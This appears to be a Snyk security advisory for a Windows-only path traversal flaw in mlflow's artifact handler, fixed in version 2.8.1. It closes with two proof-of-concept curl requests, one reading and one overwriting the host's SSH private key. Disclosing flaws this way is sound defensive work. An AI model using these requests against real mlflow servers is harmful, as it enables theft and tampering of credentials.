Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade mlflow
to version 2.8.1 or higher.
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory due to checks bypass in handlers.py
. An attacker can break out of the root directory on Windows, being able to read or write sensitive data from the host (which can include the SSH key).
Note:
This issue is only exploitable on Windows OS.
curl -vv "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"
curl -X PUT --data-binary test "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"